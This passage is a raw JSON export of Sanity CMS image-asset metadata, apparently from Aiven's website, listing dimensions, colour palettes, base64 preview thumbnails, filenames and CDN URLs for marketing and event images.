05d8d2c2a94817b355ae6afe58847e025","size":278886,"uploadId":"xgrYausdN8whayFPx8nAAU1zqN9PjMMm","url":"https://cdn.sanity.io/images/sczeoy4w/production/468afda05d8d2c2a94817b355ae6afe58847e025-512x512.png"} {"_createdAt":"2023-12-19T11:14:50Z","_id":"image-b0c7b5101245863de679b9ebe316cb54e3bedc2a-1323x1165-png","_rev":"sg5cBJWkRHo7pkcz4NtjpN","_type":"sanity.imageAsset","_updatedAt":"2023-12-19T11:14:50Z","assetId":"b0c7b5101245863de679b9ebe316cb54e3bedc2a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eG9?wYR*01%1~BslWBR*s:of5Qoe=|R*ELNGj[xZWBWBIVoL%2R*Ip","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1356223175965665,"height":1165,"width":1323},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAEbUlEQVQ4jX2Sa2xTZRzGnzJDNDAubmzMru1OT885PT3tWtau7TmnXbu2jN2B4W7QAmMXBiuDFcZlg+C4jYuTy8Ym4JhiQEi2iDoEExMRiZGYYEQiRDGiJn4SCOgn2c5rzkj8xPgn77f3+f1/T94XeM68HioEr7XAxefi9ntHcOvqMHLkAk12TkDT1bru/3vT5nBA0lykawVMOkExHzm0HaWBAsSKy1BdXD6lLLhgTkQKe0Rn3vxsq+jguNxZgsWjAVJA0fOwORadHEhujmBZ2WIMJFqAGQJaqmvmtC9fEdtSt+pCfGn0akVB6ZDk9FdaOFfKnk0JROQIzKzrBUBCECtZCHW7lOOf2lG3Mjz0xraPrgz0PLnUd2js0Ib4o+qCkmGHxe2frRVeUjMU5ZgcuKpkIeoXLkHAIaEiVPhqd8vqxKe9++//NHqO/HrlgnLprd1kQ1XVXa9dbJieZp4OzIKBsk8OPL1xHZpqliK2uAJd9XWGUx2bDn8+8ObD2yPvkjvDQ2OjB3aSrTXVv4WcciI1g58FzVyw9AsMv+nrRntzExJrGjCyp9N0+Vj3wI0z/Y9vfXCSfPvOkfGRrq1kx9Kae4u8gTWmTGsykA4P53w+TEt58PP5EzjRkUB/x3pc7tmluz54pOf78ycffjfUS74+1q2M7uscO1i/8qtYXrjMmm6equaKbB5kUO5nEEksxbzcIvDWPEQCpWioWYW9a5s0Z3e342ginjpyaGfnlwMH/7x+eB+53LWNvL+l9cGu5cuOR30hTs3f+7APSxwiaLOMuUY3kONaAHL/jwm41R6G0exDtGwxyiOlaK2qfGVffHXsVMfGH85t36wcjzeTjtqqu41FxU0Vbl9ysVNCxB3UcBYfdEYnUvUOIPm1bGhmMhOgSLACDO/H5oZmpGhzk8KBktmdq5uqu9e33Njb0jy+vW452VJbebt1UXlzgZifjpetU9TvdXPvIAysiExTLoBUFiaLH5w1CJsjnMTb8lPNtqCNYuX5Hs+Cxj2JtqGLvQd+v3i0e/z8/h1KX3v8rxXliz62CFLcwIhOwRaYaRbyNFx2EIzFBwiO8ERdl6dYw9vy9Ywlr8HE+89ksdIXTtf8O11tbQ9ujpx+evfSWWX07R5lY33DuDs39LeB8f5IsdIZ2ixHabNPT/P+JEzLBGjeD8ERgsUeSmaEvFrK7LuWxUr/6BlxzGrPJ631zeSzwV7yyYnDpK1xjeL2FBA94yU6k3fcwEqPszjpGsXJ9RQnp/C2IDAjI3vCkBECLMXJ/XpGfKQziURnEhWj2aeEguXK2hWNSrQyquS4IkTPiEom7VV0jKjoWZEYWOmJgRUH9YzIm6wBoKSwFtnzIlONvK9Ex4jXtLTnqRrQm8SJY+RkhbcFCCv4lSxWUvSsRFRYJuNV9IyoLvhXZ/Jc0RrdcprWBvUhINhDs41m33ot7f0lw+gmWtqjqIY62qvaqPVUE0JxMjFwMslkREVrUi2fVdca3dczspyFaTr7lP8AZGB6WW6+/gAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242f4c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f2615","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9d6b63","foreground":"#fff","population":1.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caa394","foreground":"#000","population":0.71,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8c97","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d6b63","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b45164","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"20200912_HH8A1335_transparent.png","path":"images/sczeoy4w/production/b0c7b5101245863de679b9ebe316cb54e3bedc2a-1323x1165.png","sha1hash":"b0c7b5101245863de679b9ebe316cb54e3bedc2a","size":883540,"uploadId":"nbYLfocJ0Mv6oFPxdTE9A672OukqTBJD","url":"https://cdn.sanity.io/images/sczeoy4w/production/b0c7b5101245863de679b9ebe316cb54e3bedc2a-1323x1165.png"} {"_createdAt":"2024-02-16T11:36:16Z","_id":"image-1b6fd4fd12a18e07300a063a9024bb5a913d7d9d-1567x844-png","_rev":"UjGmMOs0V2SxB808i089in","_type":"sanity.imageAsset","_updatedAt":"2024-02-16T11:36:16Z","assetId":"1b6fd4fd12a18e07300a063a9024bb5a913d7d9d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD8z{2xpMvxuM|_4ocNFozRkD$a$t7ayod","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdklEQVQokSXSZ1PaAACA4fwCCSSB7EEIIKeo/eB5egqFAjLKSkIYgTACCCoV6ylaUWyrNldx1O21/tauH/Dc++UFLLhsY4oYp6JsBeXqON/C7Guks8e4PzLuXcaz7/COeO8J69mnXVvsZI8UNmCqDqIFk00C+Mnaon87GD3wh/f9kcPl0HDed7gYOPFFznwRI5i4SkiPq5mHQGwciJ2Gk1+XAiO7pw+RdTOuAu4ZPZocFjVDUQ2xYKTkb6up86Q8ltU7sXQvqc/56quivYqlR7F4KRXH8ez13NIXwrltZTcBl1ePpYcFzZAK5yn5LCUbqdz3XPm2rD8r2tP73H0y9yRXfinaS658k8pdxcX75fCY9w4J5xHgnG6EE5/Suc/R1CgYO46mT9PKRSZ/JZXupNJDXLpNSA+S+lPRXmT1R1y8CMaNed+I9exgjgHAurWFlS1/eG8lNFjwD1ZCR+/ip4HoWTBuRFKXoeR1JH0XE+/j4k00Y7yNHs8v77pnNzCuiTBdACJyGFckHRVaqJGCzrg6nKdn9/T5qR2Hd+CcPXDNjVxvjoWZPX5qk3G3KKGF2XWYrCJ0GzBZsyZrFrTJIJY3Y6oFr0FkE6Y7CLMO012E6Vq5DzauDzNdM66BWAmmWgjTgcg6RDYAFMuwtMwKZcJRRSgNImow1UT+4i5E6RaiClENhFmD6ZYZV0GsiNBthOlYiAqI5gE7nfUKee9sU5huY1wdoetWpmVj123cBkLrFkKFyDJC6//HAFHlX7NmQpUJaxagubzdUeTdVdbVIB06IbQp5zrt6jHuPuXcxHkd53XC0bUyDRBVTDbZjJVArDBhk/7g3yyCtCxcgaJ7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382d58","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#969bc2","foreground":"#000","population":1.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1e7f3","foreground":"#000","population":8.73,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e92","foreground":"#fff","population":1.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb494e","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cloudkarafka-aiven-migrate.png","path":"images/sczeoy4w/production/1b6fd4fd12a18e07300a063a9024bb5a913d7d9d-1567x844.png","sha1hash":"1b6fd4fd12a18e07300a063a9024bb5a913d7d9d","size":144510,"uploadId":"tEhKHiSG9SwrcSQPrimNpd9OKWUjeyt8","url":"https://cdn.sanity.io/images/sczeoy4w/production/1b6fd4fd12a18e07300a063a9024bb5a913d7d9d-1567x844.png"} {"_createdAt":"2024-08-20T00:42:17Z","_id":"image-338fcf56aa063f8ede6da2db00b35aa79452fd62-1871x1328-png","_rev":"8LlKqJjbNRckfBQsLRWR6b","_type":"sanity.imageAsset","_updatedAt":"2024-08-20T00:43:28Z","altText":"The Total Economic Impact of the Aiven Platform","assetId":"338fcf56aa063f8ede6da2db00b35aa79452fd62","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VmHf-EvQX5S_My_3buj[oft7~XXQofo2xb%MofjaaeNF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4088855421686748,"height":1328,"width":1871},"exif":{"ColorSpace":1,"PixelXDimension":1871,"PixelYDimension":1328,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAADuElEQVQ4jU2QfUwUdBjHf3QHERLEO4hM3g484AgOmIaC1bKYlAGhvUyuSdomAbp4CyJT0DbjZSu8AykFhPEy6cRCIJELi7dszv4oaYu4I16OF+VORuD859OOc6s/Pvt+n+fZPvvtJ6b+WUa/co8J8yIT5oXHWPoif1l4YM3/bgtMrizx95qJ6XUz+tX7jJuM3F028qdpHrH26CH3zCZmF4xMG2eZmZ9jZsFozXkjs4vzGzdL35jnjSyZ7rPycI3lR2vMrJmZWTWxvL7Kyvoa4oHZzNzcHAa9nsnJSfR6vZVJK5a9wWDAMGVgcnaa8YVpbi9NMbA0QfPcr1QbhmmZvcMf5nlMZjPi6wsXqK+vp66uzsr58xup0WhQa9So1eqNfq75IhU/XqHo92uofutkz+0GIkdrCBiqIn6sjqLRThr6uhBh4eFEKaOJiY1FGRNDtFKJQqEgJCQEmUy2QUhoKMHJiQScy8Ffdxbfm2fZ1H8S0VuC6C3Gtq8U345i4qqOIRwcHHBydcHZ3RUXLw98/Lbg7eONk5MTUlspQgiEnQSxW45UcwT5zWoShmrx6TmFaD+O6DiO+LYQydVC3FoLEB7u7nh6e+Hq5YH8WQXvqA5yNOsoqWlpBAUHI5VIEC6bEAcTeKojj50jtRwYbSKouxybxizEpWxEVwHSvlI8bpQjtm7xQxYUTGBgACmpKWi1WkZGRqisrCQmJgaJVIoI9EQUvY59dwk7hjWkjTYQ0F2OaM5GtOYirhYg7SnBvb8cIZeFEKVQECEP412VirGxMe6Oj1NaWoqfnx9C+gRihwxRrcL++gmeG9aQPtpIoEXY9AGi7Rjiu0KkvR9bhRHb5MRGRRMdGUnmoUMMDw1tSN/LzOQZZ2eErQSb+FBEVQb2fZ8QP1LL/luXCOo5g2jJQbTlIq7kI71WbBWGh4YSp1SyPTaW9w8fZnBwEJ1OhyojA8v/2j1ph2SrJ0KViH1DNnE/1bDvViP+vaexsQgtr2zNRdpViPv1MoQ8SIYyQkFcVDRvvpFOrVqN+ssa9iW/ymYvb5wcHXF42hFJyGYkR17CtSUP34HPcPj+BKIrH6HNQ2g/RPJNPm6dHyH2JL3MK3uTSEreS/pbB8jKzSYrJ5u0/ek8/+ILJCQkkLBzF/GJu4h9+zW2fZGLR+9JHHVluP1wBv/Bzwm7UYFSe5rdDZ8iTjVp+D9lTbWP0VDR/BUXW5tpa2ujo72d1ssdVPRfJnW0ke0/15Fyp4XC8R5qxgdp+mWAVl0P/wJ2rq6cbvSM5QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454243","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04bc74","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04bc7c","foreground":"#fff","population":16.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1e7e7","foreground":"#000","population":14.66,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72f5cb","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5eac94","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04bc7c","foreground":"#fff","population":16.64,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Forrester TEI Infographic.png","path":"images/sczeoy4w/production/338fcf56aa063f8ede6da2db00b35aa79452fd62-1871x1328.png","sha1hash":"338fcf56aa063f8ede6da2db00b35aa79452fd62","size":245735,"title":"Forrester TEI Infographic","uploadId":"W3brNpnMh7Q01O8857UsyX2NnUvKOVYw","url":"https://cdn.sanity.io/images/sczeoy4w/production/338fcf56aa063f8ede6da2db00b35aa79452fd62-1871x1328.png"} {"_createdAt":"2023-12-14T13:20:44Z","_id":"image-12127c68c1bdbb1ca66e6168adba1de9c139a9f8-5845x3897-jpg","_rev":"Do3156plRwIXmiihNvJTXd","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:44Z","assetId":"12127c68c1bdbb1ca66e6168adba1de9c139a9f8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4998716961765461,"height":3897,"width":5845},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHAgj/xAAgEAACAgICAgMAAAAAAAAAAAABAgMEABEGIQUxEjJx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQIDBf/EABoRAAIDAQEAAAAAAAAAAAAAAAECAAMSMRH/2gAMAwEAAhEDEQA/AE3iMfHj4mkGSL5xOEaVk0X373jXyLw3A5KNsRiklooTHs971nOaX5wpVXYKD6BzKzyyFyzk6G++80K6wrHB7IM2lAYclCoNxahVSvcrRWJ1+0jKdnDJubUm++/3DFzQekwevP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543833","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#092378","foreground":"#fff","population":5.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3b7d0","foreground":"#000","population":5.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b7d0","foreground":"#000","population":5.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a6bbef","foreground":"#000","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36c55","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a41b4","foreground":"#fff","population":3.18,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven Live Customer Panel on stage 2.jpeg","path":"images/sczeoy4w/production/12127c68c1bdbb1ca66e6168adba1de9c139a9f8-5845x3897.jpg","sha1hash":"12127c68c1bdbb1ca66e6168adba1de9c139a9f8","size":2412000,"uploadId":"vcAPU4XhHbeGF2XU1d1F9MUsjWGKNjPH","url":"https://cdn.sanity.io/images/sczeoy4w/production/12127c68c1bdbb1ca66e6168adba1de9c139a9f8-5845x3897.jpg"} {"_createdAt":"2023-12-14T13:20:09Z","_id":"image-1689ceb91ce40078cfe6970aeb52cd6b7af86626-1200x628-png","_rev":"Do3156plRwIXmiihNvJSTv","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:09Z","assetId":"1689ceb91ce40078cfe6970aeb52cd6b7af86626","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBCm70d}iW054pMxmrrFNv_IVxsWGoHfm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACmElEQVQokW3RzU/SAQDG8d8fUFoq8AMBeZMXNTTTBFJexGI60QkaavhSmS/ISwgoCPkSUjpXa7pWh1YeanPVofLSy+bWoQ4eWv/Rt9HqVIfv9bNne4QqMYhKfw2T9RYNrYs0XYhzrj2F+fwS2oYkKuMSoq5cBrk+h9qyic37nPG578wvHlOaSPEmbGd3yI/vUh6hRhnC0jJLZ3earp4sDk8Wt28db98WLt8WF52bGKw5VKYsSmMeXdMWrr5X3Ej8YDX3jcPbMX5GDByOdzDmSSBI1WO02mL0Dq7RO7iB60oBb98mAyO7+IcfcLl/F4f3Pu2ue1htJcwXtnH2vmQqekJq5YT9eIkvi25eTPgIupYQqmtDmJtnsbtTODzLtNiWaO5I4+heo9N7F7unSGfPNl1Xdmlz7mBp28HWc0Do5ldmEyfE517zKFrgwc0o/V3LCBXSYcqoqAmj0E0haq4jamZQ1kdQGxOoTSm0jSvoz+XRNq6hayrS5nzCSPiI5O2P3Ek8Yy+Z4+F8lEFnHOFUTYBypyXDVMhCnJGHqVJMU62coUa1gLQuhlSTRKZLI+pz6MwFfPY8masl9tM7HBQiHOYH2IsOE+yJIJyWBClXIR2hUhzlrCJMVe00NapbSNQLyDRxZNokcn0G0bCK2bxCzHaVo5CPT9kJ3hUDfLjv5mnWz2QwhlApCSATgyjUo8i1k0jUU1TVXv+9sAxK6/6C6d+gxbxMxubneKiNz5F+3ub9vN/u5nE2wFggjVAtHaJeFaDJMonJOofSMEO18l9Q/LOw3pxlrHWSkrOfzd5R1sNhthdDxCfmcLqLCGelQygVAbS6cdTG8iFl7P+g3JCjzpinuXGFS9YM9pY8nfY13O4N2h07GM/v8QvAwn2UVkRnTgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4474","foreground":"#fff","population":0.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041474","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cd7836","foreground":"#fff","population":11.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7d4e2","foreground":"#000","population":3.64,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6773d3","foreground":"#fff","population":6.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a5cab","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd7836","foreground":"#fff","population":11.65,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-KafkaPython-Jenn 1200x628.png","path":"images/sczeoy4w/production/1689ceb91ce40078cfe6970aeb52cd6b7af86626-1200x628.png","sha1hash":"1689ceb91ce40078cfe6970aeb52cd6b7af86626","size":296454,"uploadId":"NUHU8tWTxi1tmfHVWRmv9IXsGIaeaBel","url":"https://cdn.sanity.io/images/sczeoy4w/production/1689ceb91ce40078cfe6970aeb52cd6b7af86626-1200x628.png"} {"_createdAt":"2024-09-17T20:17:29Z","_id":"image-9a423a7c21b828c3a2e602df807ef0c90188f0f1-16000x9000-png","_rev":"CUyO5Vcg9PEkEtNJJRc9ox","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T20:17:29Z","assetId":"9a423a7c21b828c3a2e602df807ef0c90188f0f1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M32PWmMto,kGaaV-okj_aaj]avkFaaj_j_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":9000,"width":16000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAABRUlEQVQokZWR3U7CQBBGeQEh0pZu2e0WaNOWFh9GJeKFmmAQokYTI0hMkD9rUdTEN/7MjuCNF7YXk+zuZE/ON1MoVg6QtXaMfZRYB4ZzhUrtBmV+BkMOYLkj6HYfJXaMQm6geUSfDecamuhCt3sw67d0V++5gUWzjd3qCXQ5IEtd9qHbF2CNe4hgng+oSkXWFMAdgQdTVL0xWOMO3J/Aid/yGyo7BRPhM+xmChm9QkYr2M0EMvoHSBH/AE9huWOIYEEloxWc1scvuJAFtj2rLWqi9xPXn0EEy43pC8FkM81uuN0ucx/A/adNxBVEuIAIl5BRCideZwOWzA40cQ7WGJIRxYzXBBHBjKDKrtb6zAI8RJl3YXlj8GAOO0zgxO80NwWv+hNwf0ojUL0MwDYMeUmx1EfLe6Rt1ve+IMKERsDcIdmr3jdhX1hOBQtIkQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#051b93","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041366","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#041366","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#232975","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#999ee0","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#232975","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#343dad","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4K_monitor_wallpaper_2 (1).png","path":"images/sczeoy4w/production/9a423a7c21b828c3a2e602df807ef0c90188f0f1-16000x9000.png","sha1hash":"9a423a7c21b828c3a2e602df807ef0c90188f0f1","size":2022064,"uploadId":"If7diScZkPNd9Mi7nwCzaJ33EpykU7kr","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a423a7c21b828c3a2e602df807ef0c90188f0f1-16000x9000.png"} {"_createdAt":"2023-12-19T12:27:00Z","_id":"image-e31f09454768ad2d6529e54198d8b9c25168aa59-1650x864-png","_rev":"Do3156plRwIXmiihO2FqZ9","_type":"sanity.imageAsset","_updatedAt":"2023-12-19T12:27:00Z","assetId":"e31f09454768ad2d6529e54198d8b9c25168aa59","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHDSqX01-y%2D;_4D%xuj?IoNhW9$wW@Iv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9097222222222223,"height":864,"width":1650},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABRNAAAUTQGUyo0vAAACz0lEQVQokSXRfU/SCQDAcV7BtW6lIqI/Hvwh1SzNh0hMjVQgEURFDjBL0OTpRELjLpNILbsHMtPS2rS6qeUa5zTbVSvzjx4mm6u22229mW/zegOffbev5IesNvblOckRPOQqu5CpvMgL+8gXg+Rr+hG0g4gl1zlS/ZBywxqltWlOWRa4Nv6Edy9e8jWzSebtW25PPcPmWEDyY24HmuIeKqoHOFYbQ1cX50T9CDUNSarrR9GfukataQpT2xKNbWucbE4TiqZZ+/sNX96/4b+Pr/g3844XG1uMXl1Eslt3uCJIfdMwp1uSNNnHsHX8RqsrhdWR4rQ9ha1jhi7fX3T5VvCcXeTW7edkPmbYfr3OZvoRnz5s8WVnh6dLK9/BQ0f91DXGMVmvYG4ZxWQbx9wygcn2O0brHzicN4kGpxmJTDESSbE4n2b7/QfWlxd4ODnO1j/rfN7JsLayhGSv1IFC201xeZDS4wOUVcUo0Q1RootztGqYMn0CiznB5d5LzEaj3B+KsTI7x0b6KdMTSUYHQyzPz/L6+SqP5+8g2ZPdRnaBhwJNN4K2F8UBP4I2SEFRGLnYT74YoaYyxLCzmwcBF/dCndy4ECYxFCFwzsUZZzvRcB+pq3HmrseR7F7eL3chU59DLvYgF88jK/QjVfrJFoJIFWEqS8P4m4Mk3X2ErG4a9LXU6CswG+sxNjVjNBpxWgxEz1iQ7NnfSlZuOzLBjUx1FqnSS47gI1fRS54yQJ46QnFZEqNphibzNNX6QUpLDNSd0PGTw06n24XDZsHeWENrQxWSvVktKGR2ikQP6oM95Kl9SBU+VOJ5xCI/Sm2MYt0kBusqBus6BvM0rvYAF4PdTPzaz41fwoxFvAz7OxnwOr+DgsyOptCN6oAPmdr7PygU9qISAxRoohyq/JMG+zOaXZt0eJa5GE4yORJldnyQubEYd6/8zEyin6nEAN8Ap5Wq4dK/IhEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2e5a","foreground":"#fff","population":0.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":6.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":6.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeb3cd","foreground":"#000","population":0.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9da4db","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17d6f","foreground":"#fff","population":1.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4a57be","foreground":"#fff","population":5.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Stockholm roundtable - IRORI.png","path":"images/sczeoy4w/production/e31f09454768ad2d6529e54198d8b9c25168aa59-1650x864.png","sha1hash":"e31f09454768ad2d6529e54198d8b9c25168aa59","size":1027050,"uploadId":"OS7TfZd340vHAu78sZYmsy7tkdonkep3","url":"https://cdn.sanity.io/images/sczeoy4w/production/e31f09454768ad2d6529e54198d8b9c25168aa59-1650x864.png"} {"_createdAt":"2023-10-30T13:41:33Z","_id":"image-7a774fd0b1b7768835ba0f7f312620daf87a2eb3-420x424-png","_rev":"gpV4rQ1RP6Oi5x5QrKrshb","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T09:25:03Z","altText":"Elena Zykova","assetId":"7a774fd0b1b7768835ba0f7f312620daf87a2eb3","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDKAf~004.i_q[00kX?wRO?H%~ozI9xuI=?cIT-qR*D%4-xvemt7bc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9905660377358491,"height":424,"width":420},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFQUlEQVQ4jSWUWVMTVgBG83P6UNvK5oKWwYoQIAQpCEQNaCEge8QIhpDFQIBQwxIhEtlJAwUTZdUgNFMMm63SIlgRZCeA1bb/4HQSHr659+nMme+7cwXKC99QJgzkduwpbqdEUZ55CU12KupsCZobVyjPklAuS6WyIB3TnXzMuhKsNVq6Gmroa2nA0W5hsPshIz+187SvC4E+6jiVsUFo409TJhFSLruEOisFVUYSpWnxyJMjKUo8h/KqEENOCqaSbJr1pXSYKum11OPseMCwrY1Re4c/Ao0wgLuxwajFp1H6gJlJflhxqpCC+DAU34ehlZxHf/k8d6UXMOZewqzMwWoow2Y24mhv9tv5YL5TUBYXglp8AmV8KKUSIWUZiZSmXyTvYjhy8RmasuIZVv/Ao9uXacyIxnRDjFmRRpMqn3ajhgFrA8M9rX6gz1SgFJ9AJT5JqTjU3+GdawncuiKi6PtwdJIIBu6k8bpRwVxtAXZ5Ek258ZjlKTQofqC14jYDlh8Z7nnIWG/nkaFeFIw+LgSl+BTFlyJQSMUUJUdSnBDGvesxOMqu4aktxF15A/vNZCx58ZgLk6gvTqNVr8BhqWW056F/kLHeLgSNcYE0XAxBF3+a4qTzyFNjyBKdJV8YgkUWh0snY6o6j+e6TGxFSTTlxGEuTKTuphSr9iYDTTUMd7UcdWjvRFAnCsQkDkYdd5LChHByEyOQng8m49zXNGeImLybzWx1PpPaDKzZcRikERhlIqpzkzEr87DVVeBsa2LI1n4ErBcFUC8ORiM6QU7sGdKFoSSfOYb07Jf8KI3CpZExbcjFeSuVytRwlE